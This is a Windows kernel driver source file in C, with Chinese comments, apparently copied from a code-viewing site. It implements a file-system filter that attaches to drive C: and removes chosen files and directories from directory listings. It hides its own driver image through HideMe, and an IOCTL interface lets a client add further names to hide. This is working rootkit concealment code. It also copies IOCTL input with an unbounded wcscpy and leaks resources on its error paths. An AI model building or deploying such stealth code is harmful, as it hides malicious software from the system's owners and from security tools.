📄 test.c
字号:
#include <ntddk.h>
#include "fastIO.h"
#include "test.h"
#include "DeviceControl.h"
/*
* 驱动主入口函数
*/
NTSTATUS
DriverEntry(
IN PDRIVER_OBJECT DriverObject,
IN PUNICODE_STRING RegistryPath)
{
int i;
NTSTATUS status;
UNICODE_STRING nameString;
UNICODE_STRING DosNameLink;
PDEVICE_OBJECT FilterDevice;
//首先创建一个CDO
RtlInitUnicodeString(&nameString, L"\\FileSystem\\SFilter");
status = IoCreateDevice(
DriverObject,
0,
&nameString,
FILE_DEVICE_DISK_FILE_SYSTEM,
FILE_DEVICE_SECURE_OPEN,
FALSE,
&g_CDO
);
if (!NT_SUCCESS(status))
{
KdPrint(("DriverEntry:Error Create cdo, status = %08x\n", status));
return status;
}
//安装分发函数
for (i=0; i<=IRP_MJ_MAXIMUM_FUNCTION; i++)
{
DriverObject->MajorFunction[i] = SfPassThrough;
}
DriverObject->MajorFunction[IRP_MJ_CREATE] = FsDeviceCreate;
DriverObject->MajorFunction[IRP_MJ_CLOSE] = FsDeviceClose;
DriverObject->MajorFunction[IRP_MJ_CLEANUP] = FsDeviceClose;
DriverObject->MajorFunction[IRP_MJ_DIRECTORY_CONTROL] = FsDirectoryControl;
DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = FsDeviceControl;
DriverObject->DriverUnload = DriverUnload;
//创建连接名
RtlInitUnicodeString(&DosNameLink,L"\\DosDevices\\SFilter");
status=IoCreateSymbolicLink(&DosNameLink,&nameString);
//Fast IO
InitFastIo(DriverObject);
//准备绑定C:\的设备
RtlInitUnicodeString(&nameString, L"\\DosDevices\\C:\\");
if (!AttachToDiskDevice(&nameString, &FilterDevice))
{
KdPrint(("DrierEntry Failed..\n"));
IoDeleteDevice(FilterDevice);
return STATUS_DEVICE_CONFIGURATION_ERROR;
}
InitializeListHead(&g_HideObjHead);
HideMe(RegistryPath);
return status;//STATUS_DEVICE_CONFIGURATION_ERROR;
}
/*
* 从注册表中得到镜像sys文件路径
*/
VOID HideMe(IN PUNICODE_STRING RegistryPath)
{
NTSTATUS status;
HANDLE hkey;
OBJECT_ATTRIBUTES oa;
ULONG size = 0;
UNICODE_STRING valname;
PWCHAR pStr = NULL;
PKEY_VALUE_PARTIAL_INFORMATION vpip;
InitializeObjectAttributes(&oa, RegistryPath, 0, NULL, NULL);
status = ZwOpenKey(&hkey, KEY_READ, &oa);
if (NT_SUCCESS(status))
{
RtlInitUnicodeString(&valname, L"ImagePath");
status = ZwQueryValueKey(hkey, &valname, KeyValuePartialInformation, NULL, 0, &size);
if ((STATUS_OBJECT_NAME_NOT_FOUND == status) ||
(size == 0))
{
return;
}
vpip = (PKEY_VALUE_PARTIAL_INFORMATION) ExAllocatePool(PagedPool, size);
if (!vpip)
{
return;
}
status = ZwQueryValueKey(hkey, &valname, KeyValuePartialInformation, vpip, size, &size);
if (!NT_SUCCESS(status))
{
return;
}
//得到镜像文件的路径
pStr = (PWCHAR)(vpip->Data + vpip->DataLength);
while (*pStr != L'\\')
{
pStr--;
}
AddHideObject(pStr + 1, CDO_FLAG_FILE);
//KdPrint(("%ws", pStr + 1));
ExFreePool(vpip);
ZwClose(hkey);
}
}
/*
*驱动卸载
*/
VOID
DriverUnload(IN PDRIVER_OBJECT DriverObject)
{
//卸载资源
PDEVICE_OBJECT DO = DriverObject->DeviceObject;
PDEVICE_OBJECT NextDO = NULL;
PDEVICE_EXTENSION DevEx = NULL;
UNICODE_STRING DosNameLink;
PLIST_ENTRY pdLink = NULL;
PHIDE_FILE pHideObj = NULL;
//释放隐藏文件链表
while(!IsListEmpty(&g_HideObjHead))
{
pdLink = RemoveHeadList(&g_HideObjHead);
pHideObj = (PHIDE_FILE)CONTAINING_RECORD(pdLink, HIDE_FILE, linkfield);
ExFreePool(pHideObj);
}
//卸载驱动
if (DriverObject)
{
while(DO)
{
KdPrint (("Unload Device...\n"));
NextDO = DO->NextDevice;
DevEx = DO->DeviceExtension;
if (DevEx)
{
if (DevEx->AttachedToDevice)
{
IoDetachDevice(DevEx->AttachedToDevice);
}
}
IoDeleteDevice(DO);
DO = NextDO;
}
}
//释放FastIo
DestoryFastIo(DriverObject);
//删除符号链接
RtlInitUnicodeString(&DosNameLink,L"\\DosDevices\\SFilter");
IoDeleteSymbolicLink(&DosNameLink);
}
/*
* 驱动控制设备通信
*/
NTSTATUS
FsDeviceControl(IN PDEVICE_OBJECT DeviceObject,
IN PIRP Irp)
{
NTSTATUS status = STATUS_NOT_IMPLEMENTED;
PIO_STACK_LOCATION irpSp = IoGetCurrentIrpStackLocation(Irp);
ULONG ControlCode;
PVOID lpInBuf = NULL;
if (g_CDO == DeviceObject)
{
ControlCode = irpSp->Parameters.DeviceIoControl.IoControlCode;
lpInBuf = irpSp->Parameters.DeviceIoControl.Type3InputBuffer;
lpInBuf = Irp->AssociatedIrp.SystemBuffer;
KdPrint(("Control Code:[%08x]\n", ControlCode));
switch (ControlCode)
{
case CDO_ADD_FILE:
AddHideObject(lpInBuf, CDO_FLAG_FILE);
break;
case CDO_ADD_DIRECTORY:
AddHideObject(lpInBuf, CDO_FLAG_DIRECTORY);
break;
case CDO_REMOVE_FILE:
case CDO_REMOVE_DIRECTORY:
//暂时不处理
break;
}
Irp->IoStatus.Status = STATUS_SUCCESS;
IoCompleteRequest(Irp, IO_NO_INCREMENT);
return Irp->IoStatus.Status;
}
else
{
return SfPassThrough(DeviceObject, Irp);
}
}
NTSTATUS
FsDeviceCreate(IN PDEVICE_OBJECT DeviceObject,
IN PIRP Irp)
{
PIO_STACK_LOCATION irpStack = IoGetCurrentIrpStackLocation (Irp);
if (g_CDO == DeviceObject)
{
KdPrint(("CDO Created!\n"));
Irp->IoStatus.Information = 0;
Irp->IoStatus.Status = STATUS_SUCCESS;
IoCompleteRequest(Irp, IO_NO_INCREMENT);
return STATUS_SUCCESS;
}
//测试是否是我隐藏的文件,如果是直接返回Create失败
return SfPassThrough(DeviceObject, Irp);
}
NTSTATUS
FsDeviceClose(IN PDEVICE_OBJECT DeviceObject,
IN PIRP Irp)
{
if (g_CDO == DeviceObject)
{
KdPrint(("CDO Closed!\n"));
Irp->IoStatus.Information = 0;
Irp->IoStatus.Status = STATUS_SUCCESS;
IoCompleteRequest(Irp, IO_NO_INCREMENT);
return STATUS_SUCCESS;
}
return SfPassThrough(DeviceObject, Irp);
}
/*
* 驱动的目录处理函数
*/
NTSTATUS
FsDirectoryControl(IN PDEVICE_OBJECT DeviceObject,
IN PIRP Irp)
{
NTSTATUS status;
PIO_STACK_LOCATION irpSp = IoGetCurrentIrpStackLocation(Irp); //当前Irp(IO_STACK_LOCATION)的参数
PDEVICE_EXTENSION devExt = DeviceObject->DeviceExtension;
PFILE_BOTH_DIR_INFORMATION dirInfo = NULL;
KEVENT waitEvent;
//UNICODE_STRING path;
ASSERT(g_CDO != DeviceObject);
ASSERT(IS_MY_DEVICE_OBJECT(DeviceObject));
if (IRP_MN_QUERY_DIRECTORY != irpSp->MinorFunction)
{
goto SkipHandle;
}
if (Irp->RequestorMode == KernelMode)
{
goto SkipHandle;
}
if (FileBothDirectoryInformation != ((PQUERY_DIRECTORY)&irpSp->Parameters)->FileInformationClass)
{
goto SkipHandle;
}
//设置完成回调函数
KeInitializeEvent(&waitEvent, NotificationEvent, FALSE);
IoCopyCurrentIrpStackLocationToNext(Irp);
//IoSetCompletionRoutine(Irp,CompletionRoutine,context,InvokeOnSuccess,InvokeOnError,InvokeOnCancel);
IoSetCompletionRoutine(
Irp,
DirControlCompletion, //CompletionRoutine
&waitEvent, //context parameter
TRUE,
TRUE,
TRUE
);
status = IoCallDriver(devExt->AttachedToDevice, Irp);
if (STATUS_PENDING == status)
{
//等待完成
status = KeWaitForSingleObject(&waitEvent,
Executive,
KernelMode,
FALSE,
NULL
);
ASSERT(STATUS_SUCCESS == status);
}
if (!NT_SUCCESS(status) ||(0 == irpSp->Parameters.QueryFile.Length))
{
IoCompleteRequest(Irp, IO_NO_INCREMENT);
return status;
}
//KdPrint(("Hook Directory.\n"));
HandleDirectory(Irp->UserBuffer, &((PQUERY_DIRECTORY)&irpSp->Parameters)->Length);
IoCompleteRequest(Irp, IO_NO_INCREMENT);
return status;
SkipHandle:
IoSkipCurrentIrpStackLocation(Irp);
return IoCallDriver(devExt->AttachedToDevice, Irp);
}
BOOLEAN
HandleDirectory(IN OUT PFILE_BOTH_DIR_INFORMATION DirInfo, IN PULONG lpBufLenth)
{
//处理目录操作
PFILE_BOTH_DIR_INFORMATION currentDirInfo = DirInfo;
PFILE_BOTH_DIR_INFORMATION lastDirInfo = NULL;
ULONG offset = 0;
ULONG position = 0;
ULONG newLenth = *lpBufLenth;
WCHAR fileName[] = L"Test.txt";
do
{
offset = currentDirInfo->NextEntryOffset;
//if (!(FILE_ATTRIBUTE_DIRECTORY & currentDirInfo->FileAttributes) &&
// (0 == wcsncmp(currentDirInfo->FileName, fileName, currentDirInfo->FileNameLength>>1)))
if (IS_MY_HIDE_OBJECT(currentDirInfo->FileName,
currentDirInfo->FileNameLength,
currentDirInfo->FileAttributes))
{
//Now We Will Test The FileName
//KdPrint(("%08x Hided File:%ws[%d]\n", currentDirInfo->FileAttributes, currentDirInfo->FileName, currentDirInfo->FileNameLength));
if (0 == offset)
{
//KdPrint(("l[%d][%d][%d][%d]\n", newLenth, *lpBufLenth, position, newLenth-(*lpBufLenth - position)));
//Reset Last DirInfo NextEntryOffset To Zero!!!
if (lastDirInfo)
{
lastDirInfo->NextEntryOffset = 0;
newLenth -= *lpBufLenth - position;
}
else
{
currentDirInfo->NextEntryOffset = 0;
*lpBufLenth = 0;
return TRUE;
}
}
else
{
//KdPrint(("n[%d][%d][%d]\n", newLenth, *lpBufLenth, position));
RtlMoveMemory(currentDirInfo, (PUCHAR)currentDirInfo + offset, *lpBufLenth - position - offset);
newLenth -= offset;
position += offset;
}
}
else
{
//KdPrint(("%08x Directory:%ws\n", currentDirInfo->FileAttributes, currentDirInfo->FileName));
//Move Next
position += offset;
lastDirInfo = currentDirInfo;
currentDirInfo = (PFILE_BOTH_DIR_INFORMATION)((PUCHAR)currentDirInfo + offset);
}
} while (0 != offset);
*lpBufLenth = newLenth;
return TRUE;
}
/*
* 测试是否是要隐藏的对象
*/
BOOLEAN
IS_MY_HIDE_OBJECT(const WCHAR *Name, ULONG NameLenth, ULONG Flag)
{
PLIST_ENTRY headListEntry = &g_HideObjHead;
PLIST_ENTRY tmpListEntry = headListEntry;
PHIDE_FILE tmpHideFile = NULL;
ULONG ObjFlag = (FILE_ATTRIBUTE_DIRECTORY & Flag)?CDO_FLAG_DIRECTORY:CDO_FLAG_FILE;
if (IsListEmpty(&g_HideObjHead))
{
return FALSE;
}
while (tmpListEntry->Flink != headListEntry)
{
tmpListEntry = tmpListEntry->Flink;
tmpHideFile = (PHIDE_FILE)CONTAINING_RECORD(tmpListEntry, HIDE_FILE, linkfield);
if ((ObjFlag == tmpHideFile->Flag) &&
(0 == wcsncmp(Name, tmpHideFile->Name, NameLenth>>1)))
{
KdPrint(("Find Obj\n"));
return TRUE;
}
}
return FALSE;
}
NTSTATUS
DirControlCompletion(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp, IN PVOID Context)
{
//if (Irp->PendingReturned) IoMarkIrpPending(Irp);
KeSetEvent((PKEVENT)Context, IO_NO_INCREMENT, FALSE);
return STATUS_MORE_PROCESSING_REQUIRED; //注:必须返回这个值
}
BOOLEAN
IS_MY_DEVICE_OBJECT(PDEVICE_OBJECT DeviceObject)
{
return DeviceObject->DriverObject == g_CDO->DriverObject;
}
/*
* 挂载到指定的磁盘设备
*/
BOOLEAN
AttachToDiskDevice(IN PUNICODE_STRING pDiskName, OUT PDEVICE_OBJECT *pOurDevice)
{
NTSTATUS status;
PDEVICE_EXTENSION DevEx;
PDEVICE_OBJECT DiskDeviceObject;
PDEVICE_OBJECT NewDeviceObject;
IO_STATUS_BLOCK ioStatus;
OBJECT_ATTRIBUTES objectAttributes;
PFILE_OBJECT fileObject = NULL;
HANDLE ntFileHandle;
// We have to figure out what device to hook - first open the volume's
// root directory
//
InitializeObjectAttributes(&objectAttributes, pDiskName, OBJ_CASE_INSENSITIVE, NULL, NULL );
status = ZwCreateFile(&ntFileHandle, SYNCHRONIZE|FILE_ANY_ACCESS,
&objectAttributes, &ioStatus, NULL, 0,
FILE_SHARE_READ|FILE_SHARE_WRITE,
FILE_OPEN, FILE_SYNCHRONOUS_IO_NONALERT|FILE_DIRECTORY_FILE,
NULL, 0);
if (!NT_SUCCESS(status))
{
DbgPrint(("Filemon: Could not open drive\n"));
return FALSE;
}
KdPrint(("Open Device is OK\n"));
//
// Got the file handle, so now look-up the file-object it refers to
//
status = ObReferenceObjectByHandle(ntFileHandle, FILE_READ_DATA, NULL, KernelMode, &fileObject, NULL);
if(!NT_SUCCESS(status))
{
DbgPrint(("Filemon: Could not get fileobject from handle\n"));
ZwClose(ntFileHandle);
return FALSE;
}
DiskDeviceObject = IoGetRelatedDeviceObject(fileObject);
if(!DiskDeviceObject)
{
DbgPrint(("Filemon: Could not get related device object\n"));
goto ErrHand;
}
//创建挂载设备
status = IoCreateDevice(
g_CDO->DriverObject,
sizeof(DEVICE_EXTENSION),
NULL,
DiskDeviceObject->DeviceType,
FILE_DEVICE_SECURE_OPEN,
FALSE,
&NewDeviceObject
);
if (!NT_SUCCESS(status))
{
goto ErrHand;
}
NewDeviceObject->Flags &= ~DO_DEVICE_INITIALIZING;
*pOurDevice = NewDeviceObject;
DevEx = NewDeviceObject->DeviceExtension;
DevEx->AttachedToDevice = DiskDeviceObject;
DevEx->DeviceName.Length = 0;
DevEx->DeviceName.MaximumLength = sizeof(DevEx->DeviceNameBuffer);
DevEx->DeviceName.Buffer = DevEx->DeviceNameBuffer;
//RtlFillMemory(DevEx->DeviceName.Buffer, sizeof(DevEx->DeviceNameBuffer), 0);
SfGetObjectName(g_CDO, &(DevEx->DeviceName));
//执行挂载
DevEx->AttachedToDevice = IoAttachDeviceToDeviceStack(NewDeviceObject, DiskDeviceObject);
if (!DevEx->AttachedToDevice)
{
goto ErrHand;
}
KdPrint(("Attath Device is OK\n"));
ObDereferenceObject(fileObject);
ZwClose(ntFileHandle);
return TRUE;
ErrHand:
KdPrint(("AttachDevice Failed status %08x\n", status));
ObDereferenceObject(fileObject);
ZwClose(ntFileHandle);
return FALSE;
}
/*
* 不处理的Irp
*/
NTSTATUS
SfPassThrough(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp)
{
PIO_STACK_LOCATION irpSp = IoGetCurrentIrpStackLocation(Irp);
//不处理
//ASSERT(IS_MY_DEVICE_OBJECT(DeviceObject));
if (g_CDO == DeviceObject)
{
KdPrint((("ERROR CDO:[%08x]\n"), irpSp->MajorFunction, irpSp->MinorFunction));
_asm int 3;
Irp->IoStatus.Status = STATUS_INVALID_DEVICE_REQUEST;
Irp->IoStatus.Information = 0;
IoCompleteRequest(Irp, IO_NO_INCREMENT);
return STATUS_INVALID_DEVICE_REQUEST;
}
IoSkipCurrentIrpStackLocation(Irp);
return IoCallDriver(((PDEVICE_EXTENSION)DeviceObject->DeviceExtension)->AttachedToDevice, Irp);
}
/*
* 得到一个对象的名称
*/
VOID
SfGetObjectName(
IN PVOID Object,
IN OUT PUNICODE_STRING Name
)
{
NTSTATUS status;
CHAR nibuf[512]; //buffer that receives NAME information and name
POBJECT_NAME_INFORMATION nameInfo = (POBJECT_NAME_INFORMATION)nibuf;
ULONG retLength;
status = ObQueryNameString(Object, nameInfo, sizeof(nibuf), &retLength);
Name->Length = 0;
if (NT_SUCCESS( status ))
{
RtlCopyUnicodeString(Name, &nameInfo->Name);
//KdPrint(("Object %wZ,Len = %d.[%d]\n", Name, retLength, Name->Length));
}
}
/*
* 添加一个隐藏对象
*/
VOID
AddHideObject(PWCHAR Name, ULONG Flag)
{
//添加一个隐藏
PHIDE_FILE newHideObj;
newHideObj = ExAllocatePoolWithTag(PagedPool, sizeof(HIDE_FILE), 'NHFO');
newHideObj->Flag = Flag;
wcscpy(newHideObj->Name, Name);
InsertTailList(&g_HideObjHead, &newHideObj->linkfield);
KdPrint(("Add Hide Obj:%ws", Name));
}
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -